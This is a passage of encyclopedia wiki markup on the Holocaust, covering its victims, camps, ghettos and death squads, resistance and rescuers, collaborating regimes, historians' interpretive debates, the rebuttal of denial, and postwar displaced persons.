* 2.5&amp;ndash;4 million Soviet [[Prisoner of war|POWs]]
* 1&amp;ndash;1.5 million political dissidents

Additionally, the Nazis' allies, the [[Ustaša]] regime in [[Croatia]] conducted its own campaign of mass extermination against the [[Serbs]] in the areas which it controlled, resulting in the deaths of at least 330,000&amp;ndash;390,000 Serbs.

The summary of various sources' estimates on the number of Nazi regime victims is given in Matthew White's online [http://users.erols.com/mwhite28/warstat1.htm#Hitler atlas of 20th century history].

===Searching for records of victims===
Initially after [[World War II]], there were millions of members of families broken up by the war or the Holocaust searching for some record of the fate and/or whereabouts of their missing friends and relatives. These efforts became much less intense as the years went by. More recently, however, there has a been a resurgence of interest by descendants of Holocaust survivors in researching the fates of their lost relatives. [[Yad Vashem]] provides a searchable database of three million names, about half of the known direct Jewish victims. Yad Vashem's ''Central Database of Shoah Victims Names'' is searchable over the Internet at [http://www.yadvashem.org yadvashem.org] or in person at the Yad Vashem complex in [[Israel]].

Other databases and lists of victims' names, some searchable over the Web, are listed in [[Holocaust (resources)#External links|Holocaust (resources)]].

==Execution of the Holocaust==
===Concentration and Labor Camps (1933-1945)===
{{main2|Concentration camp | Nazi concentration camp badges}}

[[Image:MajorConcentrationCamps.gif|thumb|300px|right|Major [[concentration camps]] in Europe, 1944.]]
Starting in 1933, the Nazis set up concentration camps within Germany, many of which were established by local authorities, to hold political prisoners and &quot;undesirables&quot;. These early concentration camps were eventually consolidated into centrally run camps, and by 1939, six large concentration camps had been established. After 1939, with the beginning of the Second World War, the concentration camps increasingly became places where the enemies of the Nazis, including Jews and POWs, were either killed or forced to act as slave laborers, and kept undernourished and tortured.

[[Image:Holocaust.jpg|thumb|left|[[Nazi concentration camps|Concentration camp]] inmates during the Holocaust]]

During the War, concentration camps for Jews and other &quot;undesirables&quot; were spread throughout Europe, with new camps being created near centers of dense &quot;undesirable&quot; populations, often focusing on areas with large Jewish, Polish intelligentsia, communist, or Roma populations. Most of the camps were located in the area of [[General Government]] in Poland, but there were camps in every country occupied by the Nazis. The transportation of prisoners was often carried out under horrifying conditions using rail freight cars, in which many died before they reached their destination. Concentration camps also existed in Germany itself, and while not specifically designed for systematic extermination, many concentration camp prisoners died because of harsh conditions or were executed.

===Pogroms (1938-1941)===
Many scholars date the beginning of the Holocaust itself to the anti-Jewish riots of the Night of Broken Glass (&quot;[[Kristallnacht]]&quot;) of November 9, 1938, in which Jews were attacked and Jewish property was vandalized across Germany. Approximately 100 Jews were killed, and another 30,000 sent to concentration camps, while over 7,000 Jewish shops and 1,574 [[synagogues]] (almost every synagogue in Germany) were damaged or destroyed. Similar events took place in Vienna at the same time.

A number of deadly [[pogrom]]s by local, non-German populations occurred during the Second World War, some with German encouragement, and some spontaneously, such as the [[Iaşi pogrom]] in Romania on June 30, 1941 in which as many 14,000 Jews were killed by Romanian residents and police and the [[Jedwabne massacre|Jedwabne pogrom]] in which between 380 and 1,600 Jews were killed by their Polish neighbors.

===Euthanasia (1939-1941)===
{{main|T-4 Euthanasia Program}}

The [[T-4 Euthanasia Program]] was established to &quot;maintain the genetic purity&quot; of the German population by systematically killing citizens who were physically [[deformity|deformed]], [[disabled]], [[handicapped]], or suffering from [[mental illness]]. Between 1939 and 1941, over 200,000 people were killed.

===Ghettos (1940-1945)===
{{main3|Ghetto | Warsaw Ghetto | Vilna Ghetto}}

[[Image:Childwarsawghetto.jpg|thumb|150px|right|A child dying in the streets of the crowded [[Warsaw Ghetto]], where hunger and disease were endemic.]]
After the invasion of Poland, the Nazis created [[ghetto]]s to which Jews (and some Roma) were confined, until they were eventually shipped to death camps and killed.  The [[Warsaw Ghetto]] was the largest, with 380,000 people and the [[Łódź Ghetto]], the second largest, holding about 160,000, but ghettos were instituted in many cities ([http://www.deathcamps.org/occupation/ghettolist.htm list]). The ghettos were established throughout 1940 and 1941, and were immediately turned into immensely crowded prisons; though the Warsaw Ghetto contained 30% of the population of [[Warsaw]], it occupied only about 2.4% of city's area, averaging 9.2 people per room. From 1940 through 1942, disease (especially [[typhoid]]) and starvation killed hundreds of thousands of Jews confined in the ghettos. 

On [[July 19]], 1942, [[Heinrich Himmler]] ordered the start of the deportations of Jews from the ghettos to the death camps. On [[July 22]], [[1942]], the deportations from the Warsaw Ghetto inhabitants began; in the next 52 days (until [[September 12]], [[1942]]) about 300,000 people were transported by train to the [[Treblinka extermination camp]] from Warsaw alone. Many other ghettos were completely depopulated.  Though there were armed resistance attempts in the ghettos in 1943, such as the [[Warsaw Ghetto Uprising]] and the [[Białystok Ghetto Uprising]], but in every case they failed against the Nazi military, and the remaining Jews were either slaughtered or sent to the extermination camps.

===Death squads (1941-1943)===
{{main|Einsatzgruppen}}

[[Image:Einsatz1.jpg|thumb|250px|right|The 1941 massacre at [[Babi Yar]] was similar to many other mass killings of Jews.  Over 33,000 Jews were shot in the course of two days by Nazi [[Einsatzgruppen]] and local Ukrainian forces.]]
As many as 1.6 million Jews were killed in open-air shootings by Nazis and their collaborators, especially in 1941 before the establishment of the concentration camps.  During the invasion of the [[Soviet Union]], over 3,000 special killing units (organized into the four ''[[Einsatzgruppen]]'') followed the [[Wehrmacht]], conducting mass killings of Poles, Communist officials, and the Jewish population that lived in Soviet territory.  

Poles were an early target in the [[Außerordentliche Befriedungsaktion|AB Action]], in which 30,000 Polish intellectual and political figures were rounded up, and 7,000 eventually killed.  By the summer of 1941, the Einsatzgruppen turned to targeting Jews, starting with the extermination of 2,200 Jews in [[Bialystock]] on June 21, 1941, and quickly increased in scale.  From September to the end of 1942, a series of mass killings took place throughout Poland, Lithuania, Ukraine, and Latvia: over 33,000 Jews were killed at [[Babi Yar]], 25,000 at [[Rumbula]], over 36,000 at [[Odessa Massacre|Odessa]] by Romanian forces, 9,000 at the [[Ninth Fort]], and 40,000 (up to 100,000 by 1944) at [[Paneriai]].  These, and similar slaughters throughout Europe, killed around 100,000 Jews per month for five months.  By the end of 1943, another 900,000 Jews would be killed in this manner, but the pace was not fast enough for the Nazi leadership, who, at the end of 1941 and the beginning of 1942, began the implementation of the [[Final Solution]], the complete extermination of the Jews of Europe.

=== Extermination camps (1942-1945) ===
{{main|Extermination camp}}
[[Image:Holocaust-gas-hair.jpg|thumb|250px|left|Empty poison gas canisters and piles of hair shaved from the victims of Auschwitz-Birkenau.]] 

In December, 1941, the Nazis opened [[Chelmno extermination camp|Celmno]], the first of what would soon be seven [[extermination camps]], dedicated entirely to mass extermination on an industrial scale, as opposed to the labor or concentration camps.  Over three million Jews would die in these extermination camps. 
The method of killing at these camps was by poison gas (Zyklon B), usually in &quot;[[gas chambers]]&quot;, although many prisoners were killed in mass shootings and by other means. The bodies of those killed were destroyed in [[crematoriums|crematoria]] (except at [[Sobibór]] where they were cremated on outdoor pyres), and the ashes buried or scattered.

In 1942, the Nazis began this most destructive phase of the Holocaust, with [[Aktion Reinhard]], opening the extermination camps of [[Belzec]], [[Sobibor]], and [[Treblinka]]. More than 1.7 million Jews were killed at the three Aktion Reinhard camps by October 1943.  The largest death camp built was [[Auschwitz-Birkenau]], which had both a labor camp ([[Auschwitz]]) and an extermination camp ([[Birkenau]]); the latter possessing four gas chambers and crematoria. This camp was responsible for the deaths of an estimated 1.6 million Jews (including about 438,000 Jews from Hungary in the course of a few months), 75,000 Poles and gay men, and some 19,000 Roma. At the peak of operations, Birkenau's gas chambers killed approximately eight thousand a day. 

Upon arrival in these camps, prisoners were divided into two groups: those too weak for work were immediately executed in [[gas chamber]]s (which were sometimes disguised as showers) and their bodies burned, while others were first used for slave labor in factories or industrial enterprises located in the camp or nearby. The Nazis also forced some prisoners to work in the collection and disposal of corpses, and to mutilate them when required. Gold teeth were extracted from the corpses, and women's hair (shaved from the heads of victims before they entered the gas chambers) was recycled for use in products such as rugs and socks.

=== Death marches and liberation (1944-1945) ===
{{main|Death marches (Holocaust)}}

As the armies of the [[Allies of World War II|Allies]] closed in on the Reich at the end of 1944, the Germans decided to abandon the extermination camps, moving or destroying evidence of the atrocities they had committed there.  The Nazis marched prisoners, already sick after months or years of violence and starvation, for tens of miles in the snow to train stations; then transported for days at a time without food or shelter in freight trains with open carriages; and forced to march again at the other end to the new camp. Prisoners who lagged behind or fell were shot. The largest and best known of the death marches took place in January 1945, when the Soviet army advanced on [[Poland]]. Nine days before the Soviets arrived at the death camp at [[Auschwitz]], the Germans marched 60,000 prisoners out of the camp toward Wodzislaw, thirty-five miles away, where they were put on freight trains to other camps. Around 15,000 died on the way.  In total, around 100,000 Jews died during these death marches{{ref|gilbert2}}.

In July, 1944, the first major Nazi camp, Majdanek, was discovered by the advancing Soviets, who eventually liberated Auschwitz in January 1945. In most of the camps discovered by the Soviets, the prisoners had already been transported by death marches, leaving only a few thousand prisoners alive.  Concentration camps were also liberated by American and British forces, including [[Bergen-Belsen concentration camp]] on April 15. Some 60,000 prisoners were discovered at the camp, but 10,000 died from disease or malnutrition within a few weeks of liberation.

==Resistance and rescuers==
===Resistance===
[[Image:Ghetto Uprising Warsaw2.jpg|thumb|right|300px| [[SS]] officers walking through the destroyed Ghetto after the [[Warsaw Ghetto Uprising]].]]
Due to the careful organization and overwhelming military might of the [[Nazi]] German state and its supporters, few [[Jew]]s and other Holocaust victims were able to resist the killings. There are, however, many cases of attempts at resistance in one form or another, and over a hundred armed Jewish uprisings.

The largest instance of organized Jewish resistance was the [[Warsaw Ghetto Uprising]], from April to May of 1943, as the final deportation from the Ghetto to the death camps was about to commence. The [[Zydowska Organizacja Bojowa|ZOB]] and smaller organizations held out against the Nazis for 27 days, before all were killed.  There were also other [[Ghetto Uprising]]s, though none were successful against the German military.

There were also major resistance efforts in three of the extermination camps.  In August 1943 an uprising also took place at the [[Treblinka extermination camp]]. Many buildings were burnt to the ground, and seventy inmates escaped to freedom, but 1,500 were killed. Gassing operations were interrupted for a month. In October 1943 another uprising took place at [[Sobibór extermination camp]]. This uprising was more successful; 11 SS guards were killed, and roughly 300 of the 600 inmates in the camp escaped, with about 50 surviving the war. The escape forced the Nazis to close the camp.  On [[October 7]], [[1944]], the Jewish [[Sonderkommando]]s (those prisoners kept separate from the main camp and involved in the operation of the gas chambers and crematoria) at Auschwitz staged an uprising. Female prisoners had smuggled in explosives from a weapons factory, and Crematorium IV was partly destroyed by an explosion. The prisoners then attempted a mass escape, but all 250 were killed soon after.

There were a number of Jewish partisan groups operating in many countries (see [[Eugenio Calò]] for the story of a Jewish Italian partisan). Also, Jewish volunteers from the [[Palestinian Mandate]], most famously [[Hannah Szenes]], parachuted into Europe in an attempt to organize resistance.

===Rescuers===
:''See also: [[Righteous Among the Nations]] and [[List of people who helped Jews during the Holocaust]] 
[[Image:Raoul_Wallenberg.jpg|right|thumb|Swedish diplomat [[Raoul Wallenberg]] and his colleagues saved as many as 100,000 Hungarian Jews by providing them with diplomatic passes.]]
In two cases, entire countries resisted the deportation of their Jewish population.  The King of [[Denmark]] and his subjects saved the lives of most of the [[Rescue of the Danish Jews|7,500 Danish Jews]] by spiriting them to safety in Sweden via fishing boats in October 1943. Moreover, the Danish government continued to work to protect the few Danish Jews captured by the Nazis. When the Jews returned home at war's end, they found their houses and possessions waiting for them, exactly as they left them. In the second case, the Nazi-allied government of [[Bulgaria]], led by [[Dobri Bozhilov]], refused to deport its 50,000 Jewish citizens, saving them as well, though Bulgaria did deport Jews to concentration camps from areas in conquered [[Greece]] and [[Macedonia (region)|Macedonia]]. In Rome, some 4000 Italian Jews and prisoners of war avoided deportation.  Many of these were hidden in safe houses and evacuated from Italy by a resistance group that was organised by an Irish priest, [[Monsignor Hugh O' Flaherty]] of the Holy Office.  Once a Vatican amabssador to Egypt O' Flaherty used his political connections to great effect in helping to secure sanctuary for dispossessed Jews. 

Some towns and churches also helped hide Jews and protect others from the Holocaust, such as the French town of [[Le Chambon-sur-Lignon]] which sheltered several thousand Jews. Similar individual and family acts of rescue were repeated throughout Europe, as illustrated in the famous cases of [[Anne Frank]], often at great risk to the rescuers. In a few cases, individual diplomats and people of influence, such as [[Oskar Schindler]] or [[Nicholas Winton]], protected large numbers of Jews. Swedish diplomat [[Raoul Wallenberg]], the Italian [[Giorgio Perlasca]], Chinese diplomat [[Ho Fengshan]] and others saved tens of thousands of Jews with fake diplomatic passes.  [[Chiune Sugihara]] saved several thousands of Jews by issuing them with Japanese visas against the will of his Nazi-aligned government.

There were also groups, like members of the Polish [[Zegota]] organization, that took drastic and dangerous steps to rescue Jews and other potential victims from the Nazis. [[Witold Pilecki]], member of [[Armia Krajowa]] (the Polish Home Army), organized a resistance movement in the [[Auschwitz concentration camp]] from 1940, and [[Jan Karski]] tried to spread word of the Holocaust.

Since 1963, a commission headed by an Israeli Supreme Court justice has been charged with the duty of awarding such people the honorary title [[Righteous Among the Nations]].

==Perpetrators and collaborators==
===Who was directly involved in the killings?===
A wide range of German soldiers, officials, and civilians were involved in the Holocaust, from clerks and officials in the government to units of the army, the police, and the SS.  Many ministries, including those of armaments, interior, justice, railroads, and foreign affairs, had substantial roles in orchestrating the Holocaust; similarly, German physicians participated in medical experiments and the T-4 euthanasia program. And, though there was no single military unit in charge of the Holocaust, the [[Schutzstaffel|SS]] under Himmler was the closest.  From the SS came the [[Totenkopfverbände]] concentration camp guards, the [[Einsatzgruppen]] killing squads, and many of the administrative offices behind the Holocaust.  The [[Wehrmacht]], or regular German army, participated directly less than the SS in the Holocaust (though it did directly massacre Jews in Russia, Serbia, Poland, and Greece), but it supported the Einsatzgruppen, helped form the ghettos, ran prison camps, some were concentration camp guards, transported prisoners to camps, had experiments performed on prisons, and used substantial slave labor. German police units also directly participated in the Holocaust, for example Reserve Police Battalion 101 in just over a year shot 38,000 Jews and deported 45,000 more to the extermination camps.{{ref|perp}}

In addition to the direct involvement of Nazi forces, most European countries allied with or occupied by the [[Axis Powers]] collaborated with the [[Nazism|Nazis]] in the Holocaust. Collaboration took the form of either rounding up of the local [[Jew|Jews]] for deportation to the German [[extermination camps]] or a direct participation in the killings.

The [[Romania|Romanian]] [[Ion Antonescu|Antonescu]] regime was directly responsible for the deaths of between 280,000 and 380,000 Jews. An official report[http://www.ushmm.org/research/center/presentations/programs/presentations/2005-03-10/pdf/english/executive_summary.pdf].   released by the Romanian government concluded,  &quot;Of all the allies of Nazi Germany, Romania bears responsibility for the deaths of more Jews than any country other than Germany itself. The exterminations committed in [[Iasi pogrom|Iasi]], [[Odessa massacre|Odessa]], [[Bogdanovka]], [[Domanovka]], and [[Peciora]], for example, were among the most hideous acts committed against Jews anywhere during the Holocaust.&quot;{{ref|Romania}}In cooperation with German [[Einsatzgruppen]] and Ukrainian auxiliaries, Romanians killed hundreds of thousands of Jews in [[Bessarabia]], northern [[Bukovina]], and [[Transnistria]].  Some of the larger massacres included 54,000 Jews killed in [[Bogdanovka]], a Romanian concentration camp along the [[Bug River]] in Transnistria, between 21 and 31 December 1941. Nearly 100,000 Jews were killed in occupied [[Odessa Massacre|Odessa]] and over 10,000 were killed in the [[Iasi pogrom]]. The Romanians also massacred [[Jew|Jews]] in the Domanevka and Akhmetchetka concentration camps.

In [[Italy]] a law from 1938 restricted civil liberties of Jews, but after the fall of [[Mussolini]] and his creation of the [[Italian Social Republic]], Jews started being deported to German camps. The deported numbered about 8,369, and only about a thousand survived. Several small camps were built in Italy and the so-called [[Risiera di San Sabba]] hosted a crematorium; from 3,000 to 5,000 people were killed in San Sabba, only a few of whom were Jews.

[[Bulgaria]], despite saving its own Jewish population, deported 11,000 Jews from occupied [[Greece|Greek]] and [[Yugoslavia]]n territories. In France, the [[Vichy France|Vichy French]] government, police, secret police ([[Milice]]), and collaborationist thugs of the [[Parti Populaire Français]] rounded up 75,000 Jews for deportation to concentration camps. The [[Netherlands]] civilian administration and police participated in the roundups of the Jewish population. A [[Netherlands|Dutch]] group, [[Henneicke Column]], hunted and &quot;delivered&quot; 9,000 Jews for deportation{{ref|price}}.[[Norway|Norwegian]] police rounded up 750 Jews. [[Slovakia|Slovakia's]] [[Josef Tiso|Tiso]] regime deported approximately 70,000 Jews, of whom 65,000 were killed.{{ref|victims}} 

The [[Hungary|Hungarian]] [[Miklós Horthy|Horthy]] regime deported 20,000 Jews from annexed [[Transcarpathian Ukraine]] in 1941 to [[Kamianets-Podilskyi]] in the German-occupied [[Ukraine]], where they were shot by the German [[Einsatzgruppen]] detachments. Hungarian army and police units killed several thousand [[Jew|Jews]] and [[Serb|Serbs]] in [[Novi Sad]] in January 1942. However Horthy resisted German demands for mass deportation of Hungarian Jews, and most survived until 1944, when the Horthy fell from power and was replaced by the [[Arrow Cross]] regime.  At this late date in the war with German defeat appearing likely, Hungarian police nevertheless participated fully with [[Schutzstaffel|SS]] in the roundups of 440,000 Jews for deportation to the [[extermination camps]].  Moreover, 20,000 [[Budapest]] Jews were shot by the banks of the [[Danube]] by Hungarian forces. 70,000 Jews were forced on a death march to [[Austria]]&amp;mdash;thousands were shot and thousands more died of starvation and exposure. {{ref|hungary}}
[[Image:Kovnopogrom.jpg|thumb|250px|right|Killing of 5,000 Jews in Kovno by Lithuanian nationalists in June 1941. The SS urged anti-communist partisan leader Klimatis to attack the Jews to show that &quot;the liberated population had resorted to the most severe measures against the ... Jewish enemy.&quot;]]

The [[Croatia]]n [[Ustaše]] regime killed hundreds of thousands of Serbs (estimates vary widely, but a minimum of 330,000-390,000 is generally accepted), over 20,000 Jews and 26,000 Roma, primarily in the Ustase's [[Jasenovac concentration camp]] near [[Zagreb]].  The Ustase also deported 7,000 more Jews to German [[extermination camps]].{{ref|croats}}

In the German-occupied Soviet territories local units represented over 80% of the available German forces providing a total of nearly 450,000 personnal organised in so-called &quot;Schutzmanschaft&quot; formations. Practically all of these units participated in the round-ups and mass-shootings. The overwhelming majority were recruited in the western Ukraine and the Baltic region, areas recently occupied by the Soviets for which the Jews were typically scapegoated, exacerbating existing anti-Semitic attitudes. Thus for instance, [[Ukraine|Ukrainian]] nationalists killed 4,000 [[Lviv]] Jews in July 1941, and an additional 2,000 in late July 1941 during the so-called [[Symon Petliura|Petliura]] Days [[pogrom]] German [[Einsatzgruppen]], together with Ukrainian auxiliary units, killed 33,000 [[Kiev]]an [[Jew|Jews]] in [[Babi Yar]] in September 1941. Ukrainian auxiliaries participated in a number of killings of Jews, among them in Romanian concentration camps in [[Bogdanovka]] and in [[Latvia]].

[[Lithuania|Lithuanian]] and [[Latvia|Latvian]] auxiliary military units with German [[Einsatzgruppen]] detachments participated in the extermination of the Jewish population in their countries, as well as assisting the Nazis elsewhere, such as deportations from the [[Warsaw Ghetto]]. The [[Arajs Commando]], a Latvian volunteer police unit, for example, shot 26,000 Latvian Jews, at various locations after they had been brutally rounded-up for this purpose by the regular police and auxilaries and was responsible for assisting in the killing of 60,000 more Jews.{{ref|latvia}}

About 75% of [[Estonia|Estonia's]] Jewish community, aware of the fate that otherwise awaited them, managed to escape to the Soviet Union; virtually all the remainder (between 950 and 1000 people) were killed by Einsatzgruppe A and local collaborators before the end of 1941.{{ref|estonia}}

===Who authorized the killings?===
Hitler authorized the mass killing of those labelled by the Nazis as &quot;undesirables&quot; in the [[T-4 Euthanasia Program]]. Hitler encouraged the killings of the Jews of Eastern Europe by the ''[[Einsatzgruppen]]'' death squads in a speech in July, 1941, though he almost certainly approved the mass shootings earlier.  A mass of evidence suggests that sometime in the fall of 1941, Himmler and Hitler agreed in principle on the complete mass extermination of the Jews of Europe by gassing, with Hitler explicitly ordering the &quot;annihilation of the Jews&quot; in a speech on December 12, 1941 (see [[Final Solution]]).  To make for smoother intra-governmental cooperation in the implementation of this &quot;Final Solution&quot; to the &quot;Jewish Question&quot;, the [[Wannsee conference]] was held near Berlin on [[January 20]] [[1942]], with the participation of fifteen senior officials, led by [[Reinhard Heydrich]] and [[Adolf Eichmann]], the records of which provide the best evidence of the central planning of the Holocaust. Just five weeks later on [[February 22]], Hitler was recorded saying &quot;We shall regain our health only by eliminating the Jews&quot; to his closest associates.

Arguments that no documentation links Hitler to &quot;the Holocaust&quot; ignore the records of his speeches kept by Nazi leaders such as [[Joseph Goebbels]] and rely on artificially limiting the Holocaust to exclude what we do have documentation on, such as the [[T-4 Euthanasia Program]] and the [[Kristallnacht]] [[pogrom]].

===Who knew about the killings?===
Some claim that the full extent of what was happening in German-controlled areas was not known until after the war. However, numerous rumors and eyewitness accounts from escapees and others gave some indication that Jews were being killed in large numbers. Since the early years of the war the [[Polish government-in-exile]] published documents and organised meetings to spread word of the fate of the Jews. By early 1941, the British had received information via an intercepted Chilean memo that Jews were being targeted, and by late 1941 they had intercepted information about a number of large massacres of Jews conducted by German police.  In the summer of 1942 a Jewish labor organization (the Bund) got word to London that 700,000 Polish Jews had already died, and the BBC took the story seriously, though the United States State Department did not take the news seriously{{ref|Archives}}.  By the end of 1942, however, the evidence of the Holocaust had become clear and on December 17, 1942 the Allies issued a statement that the Jews were being transported to Poland and killed. The US State Department was aware of the use and the location of the gas chambers of extermination camps, but refused pleas to bomb them out of operation. On [[May 12]], [[1943]], Polish government-in-exile and Bund leader [[Szmul Zygielbojm]] committed [[suicide]] in London to protest the inaction of the world with regard to the Holocaust, stating in part in his suicide letter:
:''I cannot continue to live and to be silent while the remnants of Polish Jewry, whose representative I am, are being killed. My comrades in the [[Warsaw ghetto]] fell with arms in their hands in the last heroic battle. I was not permitted to fall like them, together with them, but I belong with them, to their mass grave. 
:''By my death, I wish to give expression to my most profound protest against the inaction in which the world watches and permits the destruction of the Jewish people. 

Debate also continues on how much average Germans knew about the Holocaust. Recent historical work suggests that the majority of Germans knew that Jews were being indiscriminately killed and persecuted, even if they did not know of the specifics of the death camps.  [[Robert Gellately]], a historian at [[Oxford University]], conducted a widely-respected survey of the German media before and during the war, concluding that there was &quot;substantial consent and active participation of large numbers of ordinary Germans&quot; in aspects of the Holocaust, and documenting that the sight of columns of slave laborers were common, and that the basics of the concentration camps, if not the extermination camps, were widely known{{ref|Gallately}}.

== Historical interpretations ==
===Why did people participate in, authorize, or tacitly accept the killing?===
==== Obedience ====
[[Stanley Milgram]] was one of a number of post-war psychologists and sociologists who tried to address why people obeyed immoral orders in the Holocaust. [[Milgram experiment|Milgram's findings]] demonstrated that [[reasonable person|reasonable people]], when instructed by a person in a position of  authority, [[obedience|obeyed]] commands entailing what they believed to be the death or suffering of others.  These results were confirmed in other experiments as well, such as the [[Stanford prison experiment]].

==== Functionalism versus intentionalism ====
{{main|Functionalism versus intentionalism}}

A major issue in contemporary Holocaust studies is the question of ''functionalism'' versus ''intentionalism''. The terms were coined in a 1981 article by the British [[Marxist]] historian [[Timothy Mason]] to describe two schools of thought about the origins of the Holocaust. Intentionalists hold that the Holocaust was the result of a long-term masterplan on the part of Hitler's and that Hitler was the driving force behind the Holocaust. Functionalists hold that Hitler was anti-Semitic, but that he did not have a masterplan for genocide. Functionalists see the Holocaust as coming from below in the ranks of the German bureaucracy with little or no involvement on the part of Hitler. Functionalists stress that the Nazi anti-Semitic policy was constantly evolving in ever more radical directions and the end product was the Holocaust.

Intentionalists like [[Lucy Dawidowicz]] argue that the Holocaust was planned by Hitler from the very beginning of his political career, at very least from 1919 on, if not earlier. Later Dawidowicz was to date the decision for genocide back to [[November 11]], [[1918]]. Other Intentionalists like [[Andreas Hillgruber]], [[Karl Dietrich Bracher]] and [[Klaus Hildebrand]] suggested that Hitler had decided upon the Holocaust sometime in the early 1920s. More  recent intentionalist historians like [[Eberhard Jäckel]] continue to emphasize the relative earliness of the decision to kill the Jews, although they are not willing to claim that Hitler planned the Holocaust from the beginning. Yet another group of intentionalist historians such as the American [[Arno J. Mayer]] claimed Hitler only ordered the Holocaust in December 1941. 

Functionalists like [[Hans Mommsen]], [[Martin Broszat]], [[Götz Aly]], [[Raul Hilberg]] and [[Christopher Browning]] hold that the Holocaust was started in 1941-1942 as a result of the failure of the Nazi deportation policy and the impending military losses in [[Russia]]. They claim that what some see as extermination fantasies outlined in Hitler's ''[[Mein Kampf]]'' and other Nazi literature were mere [[propaganda]] and did not constitute concrete plans. In ''Mein Kampf'' Hitler repeatly states his inexorable hatred of the Jewish people, but no-where does he proclaim his intention to exterminate the Jewish people. 

Furthermore, Functionalists point to the fact that in the 1930s, Nazi policy aimed at trying to make life so unpleasant for German Jews that they would leave Germany. [[Adolf Eichmann]] was in charge of faciliating Jewish emigration by whatever means possible from 1937 on, until October 3, 1941 were German Jews forbidden to leave, when [[Reinhard Heydrich]] issued a order to that effect. Functionalists point to the [[SS]]'s support for a time in the late 1930s for [[Zionism|Zionist]] groups as the preferred solution to the &quot;Jewish Question&quot; as another sign that there was no masterplan for genocide. The SS only ceased their support for German Zionist groups in May 1939 when [[Joachim von Ribbentrop]] informed Hitler of this, and Hitler ordered Himmler to cease and desist as the creation of Israel was not a goal Hitler thought worthy of German foreign policy.   

In particular, Functionalists have noted that in German documents from 1939 to 1941, the term &quot;Final Solution to the Jewish Question&quot; was clearly meant to be a &quot;territorial solution&quot;, that is the entire Jewish population was to be expelled somewhere far from Germany and not allowed to come back. At first, the SS planned to create a gigantic &quot;Jewish Reservation&quot; in the [[Lublin]], [[Poland]] area, but the so-called &quot;Lublin Plan&quot; was vetoed by [[Hans Frank]], the Governor-General of Poland who refused to allow the SS to ship any more Jews to the Lublin area after November, 1939. The reason why Frank vetoed the &quot;Lublin Plan&quot; was not due to any humane motives, but rather because he was opposed to the SS &quot;dumping&quot; Jews into the Government-General. In 1940, the SS and the German Foreign Office had the so-called &quot;[[Madagascar Plan]]&quot; to deport the entire Jewish population of Europe to a &quot;reservation&quot; on [[Madagascar]]. The &quot;Madagascar Plan&quot; was cancelled because Germany could not defeat Britain and until the British [[blockade]] was broken, the &quot;Madagascar Plan&quot; could not be put into effect. Finally, Functionalist historians have made much of a memorandum written by Himmler in May, 1940 explicitly rejecting extermination of the entire Jewish people as &quot;un-German&quot; and going on to recommend to Hitler the &quot;Madagascar Plan&quot; as the preferred &quot;territorial solution&quot; to the &quot;Jewish Question&quot;. Not until July 1941 did the term &quot;Final Solution to the Jewish Question&quot;  come to mean extermination. 

Recently, a synthesis of the two schools has emerged that has been championed by such diverse historians such as the Canadian historian [[Michael Marrus]], the Israeli historian [[Yehuda Bauer]] and the British historian [[Ian Kershaw]] that contends that Hitler was the driving force behind the Holocaust, but that he did not have a long-term plan and that much of the initiative for the Holocaust came from below in an effort to meet Hitler's perceived wishes. 

Another controversy was started by the sociologist [[Daniel Goldhagen]], who argues that ordinary Germans were knowing and willing participants in the Holocaust, which he claims had its roots in a deep eliminationist German [[anti-Semitism]]. Most other historians have disagreed with Goldhagen's thesis, arguing that while anti-Semitism undeniably existed in Germany, Goldhagen's idea of a uniquely German &quot;eliminationist&quot; anti-Semitism is untenable, and that the extermination was unknown to many and had to be enforced by the dictatorial Nazi apparatus.

=== Revisionists and deniers ===
{{main|Holocaust denial}}
[[Holocaust denial]], also called ''Holocaust revisionism'', is the belief that the Holocaust did not occur, or, more specifically: that far fewer than around six million Jews were killed by the Nazis (numbers below one million, most often around 300,000 are typically cited); that there never was a centrally-planned Nazi attempt to exterminate the Jews; and/or that there were not mass killings at the extermination camps. Those who hold this position often further claim that Jews and/or [[Zionist]]s know that the Holocaust never occurred, yet that they are engaged in a massive conspiracy to maintain the illusion of a Holocaust to further their political agenda.  As the Holocaust is generally considered by historians to be one of the best documented events in recent history, these views are not accepted as credible by scholars, with organizations such as the [[American Historical Association]], the largest society of historians in the United States, stating that Holocaust denial is &quot;at best, a form of academic fraud.&quot;{{ref|documented}}.

Holocaust ''deniers'' almost always prefer to be called Holocaust ''revisionists''. Most scholars contend that the latter term is misleading. [[Historical revisionism]] is a well-accepted and mainstream part of the study of [[history]]; it is the reexamination of accepted history, with an eye towards updating it with newly discovered, more accurate, and/or less biased information, or viewing known information from a new perspective. In contrast, Holocaust deniers typically willfully misuse or ignore historical records in order to attempt to prove their conclusions, as [[Gordon McFee]] writes:

:'' 'Revisionists' depart from the conclusion that the Holocaust did not occur and work backwards through the facts to adapt them to that preordained conclusion. Put another way, they reverse the proper methodology [...], thus turning the proper historical method of investigation and analysis on its head.'' {{ref|Gord}}

[[Public Opinion Quarterly]] summarized that: &quot;No reputable historian questions the reality of the Holocaust, and those promoting Holocaust denial are overwhelmingly anti-Semites and/or neo-Nazis,&quot;. Holocaust denial has also become popular in recent years among [[Islamic fundamentalists]]: in late 2005 [[Iranian]] president [[Mahmoud Ahmadinejad]] denounced the Holocaust of European Jewry as a &quot;myth&quot;. [http://news.bbc.co.uk/2/hi/middle_east/4527142.stm]{{ref|Public}} Public espousal of Holocaust denial is a crime in ten European countries (including [[France]], [[Poland]], [[Austria]], [[Switzerland]], [[Belgium]], [[Romania]], and [[Germany]]).

== Aftermath ==
{{main|Sh'erit ha-Pletah}}
===Displaced Persons and the State of Israel===
The Holocaust and its aftermath left millions of refugees, including many Jews who had lost most or all of their family members and possessions, and often faced persistent anti-Semitism in their home countries. The original plan of the Allies was to repatriate these &quot;Displaced Persons&quot; to their country of origin, but many refused to return, or were unable to as their homes or communities had been destroyed.  As a result, more than 250,000 languished in [[DP Camp|DP camps]] for years after the war ended.
[[Image:Brihah.gif|right|thumb|250px|Jews were smuggled into Palestine by [[Berihah]] using a number of routes.]]
